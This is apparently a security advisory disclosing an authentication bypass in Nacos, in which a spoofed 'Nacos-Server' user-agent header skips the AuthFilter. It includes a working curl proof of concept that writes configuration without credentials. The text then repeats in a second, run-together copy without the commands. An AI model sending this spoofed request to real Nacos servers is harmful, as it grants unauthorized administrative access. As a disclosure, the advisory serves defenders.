When configured to use authentication (-Dnacos.core.auth.enabled=true) Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the user-agent HTTP header so it can be easily spoofed.
The following request to the configuration endpoint gets rejected as we are not providing any credentials:
❯ curl -X POST "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
{"timestamp":"2020-12-02T14:33:57.154+0000","status":403,"error":"Forbidden","message":"unknown user!","path":"/nacos/v1/cs/configs"}
However the following one gets accepted by using the Nacos-Server user-agent header:
❯ curl -X POST -A Nacos-Server "http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld"
true
Impact
This issue may allow any user to carry out any administrative tasks on the Nacos server.
References
When configured to use authentication (
-Dnacos.core.auth.enabled=true) Nacos uses theAuthFilterservlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on theuser-agentHTTP header so it can be easily spoofed.The following request to the
configurationendpoint gets rejected as we are not providing any credentials:However the following one gets accepted by using the
Nacos-Serveruser-agent header:Impact
This issue may allow any user to carry out any administrative tasks on the Nacos server.
References